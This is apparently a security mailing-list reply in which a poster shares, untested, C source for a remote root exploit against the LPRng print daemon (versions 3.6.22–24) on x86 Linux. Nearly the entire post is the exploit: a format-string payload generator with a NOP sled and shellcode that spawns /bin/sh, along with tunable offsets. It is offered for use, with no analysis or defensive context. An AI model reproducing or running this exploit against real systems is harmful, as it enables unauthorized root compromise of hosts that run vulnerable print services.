Re: lpd buffer overflow

[gabriel maggiotti <gmaggiot () CIUDAD COM AR>]

Hello guys,



I'd been searching the net for the 'lpd exploit' since I read about it in 
the first mail. I found this code yesterday, but didn't try it yet.

        Please mail me if somebody tries it. Thanks guys.

/* LPRng remote root exploit for x86 Linux
 * 9/27/00 
 *
 * - JimJones
 * tested on compiled LPRng 3.6.22/23/24 
 *
 */
#include <unistd.h>
#include <stdio.h>

char sc[]=
"\x29\xdb\x29\xc0\x29\xd2\x31\xc9\xfe\xca\xb0\x46\xcd\x80\x29\xff"
"\x47\x47\x47\x43\x43\x43\x31\xc9\x29\xc0\xb0\x3f\xcd\x80\x41\x39"
"\xf9\x75\xf5\x39\xd3\x7e\xee\xeb\x19\x5e\x89\xf3\x89\xf7\x83\xc7"
"\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x0b"
"\xcd\x80\xe8\xe2\xff\xff\xff/bin/sh"
;
#define NOP 0x90 //will be split up, doesn't matter
int main(int argc, char** argv) {
        char getbuf[1000];
        int bpad=0; /* was 2 */ /* 3 for other */
        /* 2 - -34
           3 - -41
           0 - -42
        */
        int i=0;
        int eiploc=0x41424344;
        char buffer[1024];
        char fmtbuf[128];
        int shloc=-1; //0xbffff2c8;
        int hi=100; 
        int lo=200;
        int pre=0;
        int align=-36;


        int pos=511; //483; //488; /*299;*/
        int debug=0;
        char s=0;
        char mode='n';

        while ( ( s=getopt(argc, argv, "a:b:e:s:p:d")) != EOF) {
                switch(s) {
                        case 'a': align=atoi(optarg); break;
                        case 'b': bpad=atoi(optarg);
                                        break;
                        case 'e': eiploc=strtoul(optarg, 0,0);
                                        break;
                        case 's': shloc=strtoul(optarg, 0, 0);
                                        break;
                        case 'p': pos=atoi(optarg); break;
                        case 'd': debug=1; break;
                        default:
                }
        }       
        if (shloc == -1) shloc=eiploc+2450;

        memset(buffer, 0, sizeof(buffer));
        memset(fmtbuf, 0, sizeof(fmtbuf));

        memset(buffer, 'B', bpad);
        *(long*)(buffer+strlen(buffer))=eiploc+2;
        *(long*)(buffer+strlen(buffer))=0x50505050;
        *(long*)(buffer+strlen(buffer))=eiploc;
        pre=strlen(buffer);

        if (debug) { mode='p'; hi=100; lo=100; }
        else {
                hi=((shloc >> 16)&0xffff)-pre+align; /* was no 7 */
                lo=((shloc >> 0)&0xffff)+0x10000-((shloc >> 16)&0xffff);
        }
        sprintf(fmtbuf, "%%%dd%%%d$h%c%%%dd%%%d$h%c", hi, pos, mode, lo, pos+2, mode);
        strcat(buffer+strlen(buffer), fmtbuf);
        /* make it easier to hit shellcode */
        memset(buffer+strlen(buffer), NOP, 385);
        strcat(buffer, sc);
        *(char*)(buffer+strlen(buffer))=0;

        fprintf(stderr, "strlen(fmtbuf): %i\n", strlen(fmtbuf));
        fprintf(stderr, "pos: %i\n", pos);
        fprintf(stderr, "align: %i\n", align);
        fprintf(stderr, "eip location: 0x%x\n", eiploc);
        fprintf(stderr, "shellcode location: 0x%x\n", shloc);
        fprintf(stderr, "strlen(sc): %i\n", strlen(sc));
        fprintf(stderr, "strlen(buffer): %i\n", strlen(buffer));
        printf("%s", buffer);
        putchar('\n');
}